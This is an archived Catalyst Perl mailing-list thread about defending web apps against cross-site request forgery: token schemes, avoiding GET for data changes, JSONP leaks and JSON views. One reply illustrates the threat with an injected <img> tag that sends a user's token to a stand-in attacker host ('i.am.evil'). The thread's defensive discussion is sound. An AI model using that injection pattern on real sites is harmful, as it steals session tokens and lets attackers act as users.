    /member/get_info?token=... and /member/set_info?token=... with GET
    requests?
    First, don't set_info with a GET request. That just makes the XSRF easy.
    Second, if this is to protect against your example that returns JSONP (and
    thus leaks personal user info) then, the real solution is to not return
    JSONP.

    I think the tokens are a mixed bag. Yes, the tokens would help, but if you
    have them on your URLs then you have to worry about bookmarking and link
    leaking. The tokens I use help with POSTing forms, but for critical changes
    I still add an "Are you sure?" page.



    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100329/d897aaba/attachment.htm
  • Tomas Doran at May 21, 2010 at 4:59 pm

    On 29 Mar 2010, at 10:12, Jon mailinglists wrote:
    That's why I was talking auth tokens or some other means of
    protection.
    A guess so, given that auth tokens are an XSRF protection really :)
    I suppose more people have thought of that, and this isn't really
    Catalyst specific but very general. What I wonder though is if
    there's
    any built in mechanism to protect from that since if I haven't got
    it
    all wrong are cookie based sessions pretty much useless as security.
    There are a number of pre-baked solutions to this on CPAN / in
    various form
    systems.

    That said, there is no generic thing you can plug into an arbitrary
    Catalyst
    application which will try to protect you.

    It would be possible to parse the HTML your app output, add an
    extra hidden
    field to any forms you had generated in the page, and then look for a
    previously generated token and redirect / refuse the request if it
    wasn't
    present.

    However this would obviously not catch forms generated purely from
    Javascript (and a number of other cases), and so I'm somewhat
    doubtful of
    its value in more complex applications. I can certainly remember
    the stuff
    which tries to achieve this that is baked into Rails making me
    scream :)
    But if one has a header.tt2, and that header has an <input
    type="hidden" id="token" value="[% c.token %]> would every javascript
    be able to get that value and add it to each form generated. Wouldn't
    that solve the problem, and also make sure that a request from a user
    is really that and not coming from an evil site. Or is that a naive
    solution?
    No, that makes _some_ sense.. But if I write javascript which, when
    you click a button, adds a <form> element (and etc) to the page, then
    clicks the submit button, that form is not going to have the XSRF
    protection added (and ergo will fail when submitted).

    I'd go with if you're doing weird things like that, then buyer beware..
    With the risk of making you scream here:

    Wouldn't it make sense to have and option in Authorization which
    generates and stores a token server side, in either a database or in
    the session (like Bill seems to do) at login time. If I'm not horribly
    mistaken would one token be enough for a session since the attack is
    blind and there's no way for a 3rd party to figure it out unless using
    brute force.
    Not really. If one part of the site has XSS in it, and the token is
    static, then I can inject javascript into the page (by sending you a
    link to the part of the site with the XSS, which when run snarfs the
    token, and injects <img src="http://i.am.evil/find_this.cgi?
    token=XXXXXX width="1" height="1" /> into the bottom of the page..

    I now have the user's token, and so I can submit any form in the app
    as them..

    For real protection you _at least_ need to generate one token per form
    you display, ad keep a list of 'could be submitted' tokens.. For
    protection against all cases, you need to validate that the token
    presented was a component of the form which is actually being
    submitted..
    If that is correct, one can go about playing CRUD and allowing
    /member/get_info?token=... and /member/set_info?token=... with GET
    requests?
    Well, if you're allowing /set_info to be a GET request, you already
    lost, don't do that :)

    Catalyst::ActionRole::MatchRequestMethod is your friend.
    That said - the wiki could very much benefit from a few pages which
    clearly
    explained the issue(s) surrounding XSS and XSRF in more detail,
    along with a
    rundown of what various form systems provide to mitigate these
    issues (and
    any other more generic modules available).

    Would you be prepared to write (even some) of this - given you seem
    to
    already be doing the research?
    I just had a look and the wiki gives me an internal server error.
    _<
    That was, of course, subsequently fixed.
    I
    can try to add some info regarding this, it might be better than
    nothing but as I said, my English is far from perfect and it becomes
    extra obvious when trying to explain something complex.

    One thing I really think should be added there is a more verbose
    explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
    Note: In practice you should never use a GET request to delete a
    record -- always use POST for actions that will modify data. We are
    doing it here for illustrative and simplicity purposes only.

    Since this is potentially as nasty as storing untainted data in the
    database, both for cases where GET is logical
    (/get_really_private_data) and cases like this where one is
    deleting/updating global data in a database.
    Yes, we could do with more info. I disagree that your bad English
    would be a limitation.

    We have a superb doc team who can help with that, and the tech team
    are happy to help with the finer points of the explanation.

    However YOU are still the ONLY person who knows _WHAT_ needs
    explaining :)

    On a slightly different note - I wasn't trying to be entirely
    pessimistic about making a component which would try to help take care
    of XSRF for you, I was just saying that it couldn't cover all possible
    cases with no user intervention.

    I think there would be a lot of value to someone coming up with
    something which would solve the simple cases (when you're emitting
    static HTML forms into your page), and help with the harder ones.

    Cheers
    t0m
  • Kieren Diment at Mar 27, 2010 at 6:17 am
    [reposting something that accidentally went off list]
    On 26 Mar 2010, at 22:50, Kieren Diment wrote:
    On 26/03/2010, at 11:50 PM, Tomas Doran wrote:

    How is generating JSON in template toolkit not 100% insane?

    Please use something like Catalyst::View::JSON instead?

    Only 99.9% insane.

    e.g.:

    <input type="hidden" name="orig_search" value='[% USE JSON; c.req.params.tag.json %]'>

    Which works OK if you need some kind of data structure in the URL, but amost all the time this is obviously completely mad.
    Good exception which proves the rule :_)

    You know that was off list, right?

    Cheers
    t0m
  • Alexander Hartmaier at Mar 30, 2010 at 9:27 am
    Sounds like you want Catalyst::Action::Serialize.

    --
    Best regards, Alex


    Am Freitag, den 26.03.2010, 10:43 +0100 schrieb Jon mailinglists:
    Hi all,
    I'm making a small catalyst application and I want to be able to serve
    different types of content based on parameters and/or request headers.
    I'm curious about where the "correct" location for that kind of code
    is, my current sollution is in the Root end like this:

    sub end : ActionClass('RenderView') {
    ...
    if ($c->stash->{json} || $c->request->params->{json} ||
    $c->req->header('accept') =~ /json/)
    {
    $c->stash->{template} = $c->action.'_json.tt';
    $c->res->headers->content_type( 'Application/json; charset=utf-8' );
    }
    ...
    }

    but it feels "wrong" to put it in the Root controller rather than the
    view. Is this really the place where I'm supposed to have that kind
    of logic? Would that also be the place if I want to add pdf out to
    pick another View to forward to?

    Thanks in advance
    Jon

    _______________________________________________
    List: Catalyst@lists.scsys.co.uk
    Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
    Searchable archive: http://www.mail-archive.com/catalyst@lists.scsys.co.uk/
    Dev site: http://dev.catalyst.perl.org/

    *"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*
    T-Systems Austria GesmbH Rennweg 97-99, 1030 Wien
    Handelsgericht Wien, FN 79340b
    *"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*
    Notice: This e-mail contains information that is confidential and may be privileged.
    If you are not the intended recipient, please notify the sender and then
    delete this e-mail immediately.
    *"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*

Related Discussions

Discussion Navigation
viewthread | post
Discussion Overview
groupcatalyst @
categoriescatalyst, perl
postedMar 26, '10 at 9:43a
activeMay 21, '10 at 4:59p
posts22
users7
websitecatalystframework.org
irc#catalyst

People

Translate

site design / logo © 2021 Grokbase